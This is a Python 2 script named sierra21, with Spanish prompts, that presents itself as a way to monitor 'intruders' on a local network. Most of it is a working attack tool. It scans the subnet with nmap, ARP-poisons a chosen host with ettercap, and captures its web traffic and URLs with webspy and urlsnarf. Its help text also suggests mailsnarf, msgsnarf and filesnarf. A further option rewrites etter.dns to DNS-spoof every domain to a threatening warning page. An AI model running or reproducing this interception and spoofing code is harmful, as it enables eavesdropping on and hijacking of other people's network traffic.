#!/usr/bin/python
# -*- coding: utf-8 -*-

# autor sierra21
#
# Ejecutar desde terminal para ver información adicional
#
info1='''

INFORMACION:
    
Se ejecutan automaticamente las aplicaciones ettercap, urlsnarf y webspy.
urlsnarf crea el archivo Xurlsnarf.txt con las páginas visitadas. 
Observe la ventana del terminal llamado ettercap, y verifique que al final
de esta se tiene:
    
ARP poisoning victimas:

 GROUP 1 : DIRECCION_IP_GATEWAY MASCARA

 GROUP 2 : DIRECCION_IP_INTRUSO MASCARA

Si solo se obtiene un GROUP 1, cerrar y volver a elegir la opción, ya que
es necesario los dos GROUP para el arpspoof

También puede abrir otras terminales y ejecutar alguna otra aplicación del 
paquete dsniff. Para ver que aplicaciones tenemos hacer:
    
# dpkg -L dsniff | grep bin 

Podría interesarnos lanzar por ejemplo:
    
# filesnarf -i eth0

# mailsnarf -i eth0

# msgsnarf -i eth0 
    
Sustituir eth0 por nuestro adaptador de red
'''

info_forward ='''
Cuando se necesita Espiar intruso, hay que hacer que el sistema
pueda hacer forwarding, con lo que se pasa a modificar el archivo
/proc/sys/net/ipv4/ip_forward para escribir en el un 1.
Recuerdelo y revise antes que valor tiene por si quiere volver a
dejarlo como estaba cuando termine de ejecutar el programa.

           ¿Desea continuar o abortar?
'''

info_etter ='''
El programa se detendrá después de este punto. Para continuar una
una vez que el intruso ha recibido tu aviso, Control+C.

Observa que en la terminal de ettercap aparezcan dos group, si solo 
hay uno, cierrala pulsando q, y en la terminal donde ejecutaste el
programa Control+C y vuelve a intentarlo. 

ARP poisoning victimas:

 GROUP 1 : DIRECCION_IP MASCARA

 GROUP 2 : DIRECCION_IP MASCARA

ATENCION!!!
Se va a modificar el archivo etter.dns que suele estar en el path
/usr/share/ettercap/ o bien en /usr/local/share/ettercap/
Se hará una copia del original una sola vez a etter.dns-sierra21
por si se quiere recuperar, tengalo en cuenta ya que cada vez
que se escoja esta opción se sobre escribirá el archivo etter.dns

           ¿Desea continuar o abortar?
'''

try:
    import sys
    import os
    import subprocess
    import commands
    import re
    import time
    import urllib
    #import clasemia
except ImportError as err:
    print "Falta libreria/modulo de python: ", err
    exit(1)

REVISION = 19
grafico = False
archivo_forward = '/proc/sys/net/ipv4/ip_forward'
archivo_etter = '/usr/share/ettercap/etter.dns'
archivo_etter2 = '/usr/local/share/ettercap/etter.dns'

W  = '\033[0m'  # white (normal)
R  = '\033[1;31;40m' # red
G  = '\033[1;32;40m' # green
O  = '\033[1;33;40m' # orange
B  = '\033[1;34;40m' # blue
P  = '\033[1;35;40m' # purple
C  = '\033[1;36;40m' # cyan
GR = '\033[1;37;40m' # gray
LN = '\033[1;4;37;40m'

if os.getuid() != 0:
	print R+' [!]'+O+' ERROR:'+G+' sierra21.py'+O+' must be run as '+R+'root'+W
	exit(1)

if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
	print O+' [!]'+R+' WARNING:'+G+' sierra21'+W+' must be run on '+O+'linux'+W
	exit(1)

def program_exists(program):
	proc = subprocess.Popen(['which', program], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	txt = proc.communicate()
	if txt[0].strip() == '' and txt[1].strip() == '':
		return False
	if txt[0].strip() != '' and txt[1].strip() == '':
		return True
	return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)

def ayuda():
    print ''
    print GR+'Uso:'+W
    print GR+'sudo '+__file__+' '+W+' #modo texto'
    print GR+'sudo '+__file__+' -grafico '+W+' #modo gráfico'
    exit(0)

def my_strtr(cadena, reemplazo):    
    """Reemplazo múltiple de cadenas en Python."""
    regex = re.compile("(%s)" % "|".join(map(re.escape, reemplazo.keys())))
    return regex.sub(lambda x: str(reemplazo[x.string[x.start() :x.end()]]), cadena)

def get_revision():
	"""
		Gets latest revision # from google code repository
		Returns tuple: revision#, description of change, date changed
	"""
	irev  =-1
	desc =''
	since=''
	
	try:
		sock = urllib.urlopen('http://code.google.com/p/sierra21/source/list?path=/trunk/sierra21.py')
		page = sock.read()
	except IOError:
		return (-1, '', '')
	
	# get the revision
	start= page.find('href="detail?r=')
	stop = page.find('&amp;', start)
	if start != -1 and stop != -1:
		start += 15
		rev=page[start:stop]
		try:
			irev=int(rev)
		except ValueError:
			rev=rev.split('\n')[0]
			print R+'[+] invalid revision number: "'+rev+'"'
	
	# get the description
	start= page.find(' href="detail?r='+str(irev)+'', start + 3)
	start= page.find('">',start)
	stop = page.find('</a>', start)
	if start != -1 and stop != -1:
		start += 2
		desc=page[start:stop].strip()
		desc=desc.replace("&#39;","'")
		desc=desc.replace("&lt;","<")
		desc=desc.replace("&gt;",">")
		if '\n' in desc:
			desc = desc.split('\n')[0]
	
	# get the time last modified
	start= page.find(' href="detail?r='+str(irev)+'', start + 3)
	start= page.find('">',start)
	stop = page.find('</a>', start)
	if start != -1 and stop != -1:
		start += 2
		since=page[start:stop]
	
	return (irev, desc, since)

def upgrade():
    """
		Checks for new version, prompts to upgrade, then
		replaces this script with the latest from the repo
    """
    global REVISION
    try:
        print GR+' [!]'+W+' upgrading requires an '+G+'internet connection'+W
        print GR+' [+]'+W+' checking for latest version...'
        (revision, description, date_changed) = get_revision()
        if revision == -1:
            print R+' [!]'+O+' unable to access googlecode'+W
            if grafico:
                    zenit = commands.getoutput('zenity --info --text="unable to access googlecode"')
        elif revision > REVISION:
            print GR+' [!]'+W+' a new version is '+G+'available!'+W
            print GR+' [-]'+W+'   revision:    '+G+str(revision)+W
            print GR+' [-]'+W+'   description: '+G+description+W
            print GR+' [-]'+W+'   date added:  '+G+date_changed+W
            if grafico:
                proc=subprocess.Popen('zenity --question --no-wrap --ok-label="Si" --text="Una nueva versión está <b>disponible</b>\nrevisión: <b>'+str(revision)+'</b>\ndescripción: <b>'+description+'</b>\nDe fecha: <b>'+date_changed+'</b>\nDeseas actualizar a la nueva versión?"', shell=True )
                proc.communicate()
                if proc.returncode:
                    print GR+' [-]'+W+' upgrading '+O+'aborted'+W
                    return
            else:
                response = raw_input(GR+' [+]'+W+' do you want to upgrade to the latest version? (y/n): ')
                if not response.lower().startswith('y'):
                    print GR+' [-]'+W+' upgrading '+O+'aborted'+W
                    return

            # Download script, replace with this one
            print GR+' [+] '+G+'downloading'+W+' update...'
            try:
                sock = urllib.urlopen('http://sierra21.googlecode.com/svn/trunk/sierra21.py')
                page = sock.read()
            except IOError:
                page = ''
            if page == '':
                print R+' [+] '+O+'unable to download latest version'+W
                exit(1)
			
			# Create/save the new script
            f=open('sierra21_new.py','w')
            f.write(page)
            f.close()
			
            # The filename of the running script
            this_file = __file__
            if this_file.startswith('./'):
                this_file = this_file[2:]
			
            # create/save a shell script that replaces this script with the new one
            f = open('update_sierra21.sh','w')
            f.write('''#!/bin/sh\n
                       rm -rf ''' + this_file + '''\n
                       mv sierra21_new.py ''' + this_file + '''\n
                       rm -rf update_sierra21.sh\n
                       chmod +x ''' + this_file + '''\n
                      ''')
            f.close()
			
			# Change permissions on the script
            returncode = subprocess.call(['chmod','+x','update_sierra21.sh'])
            if returncode != 0:
                print R+' [!]'+O+' permission change returned unexpected code: '+str(returncode)+W
                exit(1)
			# Run the script
            returncode = subprocess.call(['sh','update_sierra21.sh'])
            if returncode != 0:
                print R+' [!]'+O+' upgrade script returned unexpected code: '+str(returncode)+W
                exit(1)
            if not grafico:
			    print GR+' [+] '+G+'updated!'+W+' type "./' + this_file + '" to run again'
            else:
                zenit = commands.getoutput('zenity --info --text="Version actualizada, corre de nuevo el script"')
            exit(0)
        else:
            print GR+' [-]'+W+' your copy of sierra21 is '+G+'up to date'+W
            if not grafico:
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="Tu versión está al día"')
			
    except KeyboardInterrupt:
        print R+'\n (^C)'+O+' sierra21 upgrade interrupted'+W


programas = ['zenity','nmap', 'ettercap', 'webspy', 'urlsnarf']
for program in programas:
	if program_exists(program): continue
	print R+' [!]'+O+' required program not found: %s' % (R+program+W)
	exit(1)

argumentos = sys.argv[1:]
if not argumentos:
    pass
elif argumentos[0]=="-h" or argumentos[0]=="--help":
    ayuda()
elif len(argumentos)==1 and argumentos[0] == "-grafico":
    grafico = True
    try:
        import gtk
    except ImportError as err2:
        print R+"[!]"+W+" Falta modulo grafico: ",err2
        print GR+"Correrá en modo texto"
        basura = raw_input(C+"Enter para continuar"+W)
        grafico = False
else:
    print R+"[!]"+W+" Parametro no valido: "+argumentos[0]+GR+" --help para ayuda"
    exit(0)

# modo grafico
class SystrayIconApp:
    def __init__(self):
        self.tray = gtk.StatusIcon()
        self.tray.set_from_stock(gtk.STOCK_ABOUT) 
        self.tray.connect('popup-menu', self.on_right_click)
        self.tray.set_tooltip(('Sierra21 v1 (r'+str(REVISION)+')'))

    def on_right_click(self, icon, event_button, event_time):
        self.make_menu(event_button, event_time)
        
    def make_menu(self, event_button, event_time):
        menu = gtk.Menu()

        scan = gtk.MenuItem("Escanear en busca de intrusos")
        scan.show()
        menu.append(scan)
        scan.connect('activate', self.graf_escanear)

        info = gtk.MenuItem("Información acerca de intruso")
        info.show()
        menu.append(info)
        info.connect('activate', self.graf_info_intruso)

        spy = gtk.MenuItem("Espiar intruso")
        spy.show()
        menu.append(spy)
        spy.connect('activate', self.graf_espiar_intruso)

        aviso = gtk.MenuItem("Dar aviso a intruso")
        aviso.show()
        menu.append(aviso)
        aviso.connect('activate', self.graf_aviso_intruso)

        upd = gtk.MenuItem("Actualizar versión")
        upd.show()
        menu.append(upd)
        upd.connect('activate', self.graf_actualizar)

        about = gtk.MenuItem("Acerca de...")
        about.show()
        menu.append(about)
        about.connect('activate', self.show_about_dialog)

        salir = gtk.MenuItem("Salir")
        salir.show()
        menu.append(salir)
        salir.connect('activate', gtk.main_quit)

        menu.popup(None, None, gtk.status_icon_position_menu,
            event_button, event_time, self.tray)

    def show_about_dialog(self, widget):
        about_dialog = gtk.AboutDialog()
        about_dialog.set_destroy_with_parent (True)
        about_dialog.set_icon_name ("Sierra21")
        about_dialog.set_name('Sierra21')
        about_dialog.set_version('v1 (r'+str(REVISION)+')')
        about_dialog.set_copyright("(C) 2015 Sierra21")
        about_dialog.set_comments(("Script para monitorizar intrusos en red local"))
        about_dialog.set_authors(['Sierra21','Mención especial al programa wifite.py'])
        about_dialog.run()
        about_dialog.destroy()

    def graf_escanear(self, widget,data=None):
        run.escaner_intrusos()
 
    def graf_info_intruso(self, widget,data=None):
        run.info_intruso()

    def graf_espiar_intruso(self, widget,data=None):
        run.espiar_intruso()

    def graf_aviso_intruso(self, widget,data=None):
        run.aviso_intruso()

    def graf_actualizar(self, widget,data=None):
        upgrade() 
# fin modo grafico

class Menu:

    direccion_ip = ""
    lista_intrusos = []
    red = []
    opcion_red = ""
    gateway = ""
    depurar = ""

    def __init__(self):
        self.elecciones ={
        "1" : self.escaner_intrusos,
        "2" : self.info_intruso,
        "3" : self.espiar_intruso,
        "4" : self.aviso_intruso,
        "5" : upgrade,
        "6" : self.quit
        }

    def mostrar_menu(self):
        
        print GR+'''
               ("`-''-/").___..--''"`-._
                `'''+B+'''6'''+GR+'''_ '''+B+'''6'''+GR+'''  )   `-.  (     ).`-.__.`)
                 (_Y_.)'  ._   )  `._ `. ``-..-'
                  _..`--'_..-_/  /--'_.' ,' '''+R+'''Sierra21 v1 (r'''+ str(REVISION)+''')'''+GR+'''
                 ('''+O+'''il'''+GR+'''),-''  ('''+O+'''li'''+GR+'''),'  ((!.-'
              '''



        print GR+"""
Menu de Opciones

"""+P+"""1"""+GR+""" Escanear en busca de intrusos
"""+P+"""2"""+GR+""" Información acerca de intruso
"""+P+"""3"""+GR+""" Espiar intruso
"""+P+"""4"""+GR+""" Dar aviso a intruso
"""+P+"""5"""+GR+""" Actualizar version
"""+P+"""6"""+GR+""" Salir
"""+W
    def start(self):
        while True:
            os.system("clear")
            self.mostrar_menu()
            eleccion = raw_input(O+"Escribe una opcion: "+W)
            eleccion = str(eleccion)
            accion = self.elecciones.get(eleccion)
            if accion:
                accion()
            else:
                print R+'[!]'+O+' elección %s no valida ' % (P+eleccion+O)
                basura = raw_input(C+"Enter para continuar"+W)

    def obtener_ip(self):
        print G+'[+]'+W+' Obteniendo datos de red, espere... ' + self.opcion_red
        gateway_red= commands.getoutput('route | grep default|awk \'{print $2 "#"$8}\'') 
        gateway_red=gateway_red.split("\n")[0]
        try:
            self.gateway, self.opcion_red = gateway_red.split("#")
        except:
            print G+'[!]'+W+' No se ha podido configurar datos de red, ¿internet?'
            exit(0)

        self.direccion_ip = commands.getoutput("/sbin/ifconfig "+self.opcion_red+"| grep inet |awk '{print $2}'|grep '[[:digit:]]\{1,3\}\.[[:digit:]]\{1,3\}\.[[:digit:]]\{1,3\}\.[[:digit:]]\{1,3\}'|cut -c 6-")

        m = re.match(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", self.direccion_ip)
        if not m:
            print G+'[!]'+W+' No se ha podido configurar datos de red, ¿mal formato?'
            exit(0)

        if not grafico:
            print G+'[+]'+W+' Tu adaptador de red: ' + self.opcion_red
            print G+'[+]'+W+' Tu gateway: ' + self.gateway
            print G+'[+]'+W+' Tu dir. ip: ' + self.direccion_ip
            basura = raw_input(C+"Enter para continuar"+W)
        else:
            zenity = commands.getoutput('zenity --info --text="Tu adaptador de red:<b> "'+self.opcion_red+'"\n</b>Tu gateway: <b>"'+self.gateway+'"\n</b>Tu dir. ip: <b>"'+self.direccion_ip+'"</b>"')

    def escaner_intrusos(self):
        if not self.direccion_ip:
            print R+"[!] "+W+"No has obtenido la dirección ip"+W
            basura = raw_input(C+"Enter para continuar"+W)
            return 
        print G+'[+]'+W+' Escaneando red...'
        self.lista_intrusos = []
        if not grafico: 
            scaneo=commands.getoutput("nmap -sP "+self.gateway+"/24")
        else:
            scaneo=commands.getoutput("nmap -sP "+self.gateway+"/24 | tee hostip.txt|zenity --progress --pulsate --auto-close")
        texto = ''
        scaneo = scaneo.split('\n')
        if grafico:
            scaneo = open('hostip.txt', 'r')
        for linea in scaneo:
            linea.rstrip()
            m = re.match(r"(.+)\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", linea)
            if m:
                if m.group(2) != self.gateway:
                    if not self.direccion_ip == m.group(2):
                        self.lista_intrusos.append(m.group(2))
                        texto+="__"+str(m.group(2))
        if not grafico:
            print G+'[+]'+W, self.lista_intrusos
            basura = raw_input(C+"Enter para continuar"+W)
        else:
            scaneo.close()
            zenity = commands.getoutput('zenity --info --text="Intrusos: "'+texto+'')
            borrar  = commands.getoutput('rm hostip.txt')

    def info_intruso(self):
        if not self.lista_intrusos:
            if not grafico:
                print R+"[!] "+W+"No has escaneado en busca de intrusos"+W
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="No has escaneado en busca de intrusos"')
            return 
        texto=""
        print G+'[+]'+W+' Información intruso...'
        if grafico:
            for intruso in self.lista_intrusos:
                texto+=" "+intruso+" "
            opcion1 = commands.getoutput('zenity --list --column "Elije intruso: "'+texto+'' )
            if not opcion1:
                return
        else:
            x=1
            for intruso in self.lista_intrusos:
                print P,x,W,intruso
                x = x + 1
            opcion1 = raw_input(O+"Sobre cual quieres información? "+W)
        try:
            if not grafico:
                print G+'[+]'+W+' Nmap a intruso...'
                scaneo=commands.getoutput("nmap "+ self.lista_intrusos[int(opcion1)-1]) 
                print GR,scaneo
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                scaneo=commands.getoutput("nmap "+ opcion1)
                reemplazo = { '(' : '', ')' : ''}
                scaneo = my_strtr(scaneo,reemplazo)
                zenit = commands.getoutput('zenity --info --no-wrap --text="'+scaneo+'"')
        except:
            print R+'[!]'+W+' elección %s no valida ' % (P+opcion1+W)
            basura = raw_input(C+"Enter para continuar"+W)

    def espiar_intruso(self):
        global info1
        if not self.lista_intrusos:
            if not grafico:
                print R+"[!] "+W+"No has escaneado en busca de intrusos"+W
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="No has escaneado en busca de intrusos"')
            return
        print G+'[+]'+W+' Espiando intruso...'
        if not grafico:
            x=1
            for intruso in self.lista_intrusos:
                print P,x,W,intruso
                x = x + 1
            opcion1 = raw_input(O+"A cual quieres espiar? "+W)
        else:
            texto = ''
            for intruso in self.lista_intrusos:
                texto+=" "+intruso+" "
            opcion1 = commands.getoutput('zenity --list --column "Elije intruso: "'+texto+'' )
            if not opcion1:
                return
        if not os.path.isfile(archivo_forward):
            if not grafico:
                print R+'[!]'+W+' No existe el archivo: %s' % (P+archivo_forward+W)
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="No existe el archivo: "'+archivo_forward)
            return

        if grafico:
            proc=subprocess.Popen('zenity --question --no-wrap --ok-label="Continuar" --cancel-label="Abortar" --text="'+info_forward+'"', shell=True )
            proc.communicate()
            if proc.returncode:
                print GR+' [-]'+W+' Espiar intruso '+O+'abortado'+W
                return
        else:
            response = raw_input(GR+info_forward+' Responda y para continuar (y/n): ')
            if not response.lower().startswith('y'):
                print GR+' [-]'+W+' Espiar intruso '+O+'abortado'+W
                return

        try:
            forward = commands.getoutput('echo "1" > /proc/sys/net/ipv4/ip_forward')
            if not grafico:
                cmdline = "xterm -e ettercap -T -i "+self.opcion_red+" --only-mitm -M arp:remote /"+self.gateway+"/ /"+self.lista_intrusos[int(opcion1)-1]+"/ &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                time.sleep(5)
                cmdline = "xterm -e webspy -i "+self.opcion_red+" "+self.lista_intrusos[int(opcion1)-1]+" &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                time.sleep(3)
                cmdline = "xterm -e 'urlsnarf -i "+self.opcion_red+" > Xurlsnarf.txt' &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                print info1
            else:
                cmdline = "xterm -e ettercap -T -i "+self.opcion_red+" --only-mitm -M arp:remote /"+self.gateway+"/ /"+opcion1+"/ &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                time.sleep(5)
                cmdline = "xterm -e webspy -i "+self.opcion_red+" "+opcion1+" &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                time.sleep(3)
                cmdline = "xterm -e 'urlsnarf -i "+self.opcion_red+" > Xurlsnarf.txt' &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                zenit = commands.getoutput('zenity --info --no-wrap --text="'+info1+'"')

        except:
            print R+'[!]'+W+' elección %s no valida ' % (P+opcion1+W)
        if not grafico:
            basura = raw_input(C+"Enter para continuar"+W)

    def aviso_intruso(self):
        try:
            import cherrypy
        except:
            if not grafico:
                print R+'[!]'+W+' Falta el modulo python cherrypy '
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="Falta el modulo python <b>cherrypy</b>"')
            return  

        if not self.lista_intrusos:
            if not grafico:
                print R+"[!] "+W+"No has escaneado en busca de intrusos"+W
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="No has escaneado en busca de intrusos"')
            return
        print G+'[+]'+W+' Configurando dar aviso a intruso...'
        if not grafico:
            x=1
            for intruso in self.lista_intrusos:
                print P,x,W,intruso
                x = x + 1
            opcion1 = raw_input(O+"A cual quieres dar el aviso? "+W)
        else:
            texto = ''
            for intruso in self.lista_intrusos:
                texto+=" "+intruso+" "
            opcion1 = commands.getoutput('zenity --list --column "Elije intruso: "'+texto+'' )
            if not opcion1:
                return

        if not os.path.isfile(archivo_etter) and not os.path.isfile(archivo_etter2):
            if not grafico:
                print R+'[!]'+W+' No existe el archivo: %s' % (P+archivo_etter+W)
                basura = raw_input(C+"Enter para continuar"+W)
            else:
                zenit = commands.getoutput('zenity --info --text="No existe el archivo: "'+archivo_etter)
            return

        if grafico:
            proc2=subprocess.Popen('zenity --question --no-wrap --ok-label="Continuar" --cancel-label="Abortar" --text="'+info_etter+'"', shell=True )
            proc2.communicate()
            if proc2.returncode:
                print GR+' [-]'+W+' Dar aviso a intruso '+O+'abortado'+W
                return
        else:
            response = raw_input(GR+info_etter+' Responda y para continuar (y/n): ')
            if not response.lower().startswith('y'):
                print GR+' [-]'+W+' Dar aviso a intruso '+O+'abortado'+W
                return

        if os.path.isfile(archivo_etter):
            if not os.path.isfile(archivo_etter+'-sierra21'):
                copiar  = commands.getoutput('cp '+archivo_etter+' '+archivo_etter+'-sierra21')
            archivo_final_etter = archivo_etter
        else:
            if not os.path.isfile(archivo_etter2+'-sierra21'):
                copiar  = commands.getoutput('cp '+archivo_etter2+' '+archivo_etter2+'-sierra21')
            archivo_final_etter = archivo_etter2

        try:
            etter_dns = commands.getoutput('echo "*     A     '+self.direccion_ip+'" > '+archivo_final_etter+'""')
            if not grafico:
                cmdline = "xterm -e ettercap -T -q -i "+self.opcion_red+" -P dns_spoof -M arp:remote /"+self.lista_intrusos[int(opcion1)-1]+"/ /"+self.gateway+"/ &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
            else:
                cmdline = "xterm -e ettercap -T -q -i "+self.opcion_red+" -P dns_spoof -M arp:remote /"+opcion1+"/ /"+self.gateway+"/ &"
                self.depurar = subprocess.Popen([cmdline], shell=True).pid
                print "grafico"
        except:
            print R+'[!]'+W+' elección %s no valida ' % (P+opcion1+W)


        class HelloWorld(object):
            @cherrypy.expose
            def index(self):
                return """<html>
                <head></head>
                <body bgcolor = "black" text = "red">
                    <div align = "center">
                        <h1> ATENCION </h1>
                        <h1> ESTAS EN UNA RED QUE NO TE PERTENECE </h1>
                        <H1> SAL O ATENTE A LAS CONSECUENCIAS </H1>
                </body>
                </html>"""
            @cherrypy.expose
            def default(self, attr='abc'):
                return """<html>
                <head></head>
                <body bgcolor = "black" text = "red">
                    <div align = "center">
                        <h1> ATENCION </h1>
                        <h1> ESTAS EN UNA RED QUE NO TE PERTENECE </h1>
                        <H1> SAL O ATENTE A LAS CONSECUENCIAS </H1>
                </body>
                </html>"""
            
        cherrypy.config.update({'server.socket_port': 80,'server.socket_host': self.direccion_ip})
        try:
            cherrypy.quickstart(HelloWorld())
        except :
            print R+'[!] ATENCION!!!'+W+' Es muy posible que tengas un servidor web corriendo'
            print 'Cierra el terminal de ettercap pulsando la letra "q"\npara tu servidor web y vuelve a intentarlo'
            basura = raw_input(C+"Enter para continuar"+W)

    def quit(self):
        print ("Saludos, bye!")
        sys.exit(0)

if __name__ == "__main__":
    run = Menu()
    run.obtener_ip()
    if not grafico:
        run.start()
    else:
        SystrayIconApp()
        gtk.main()
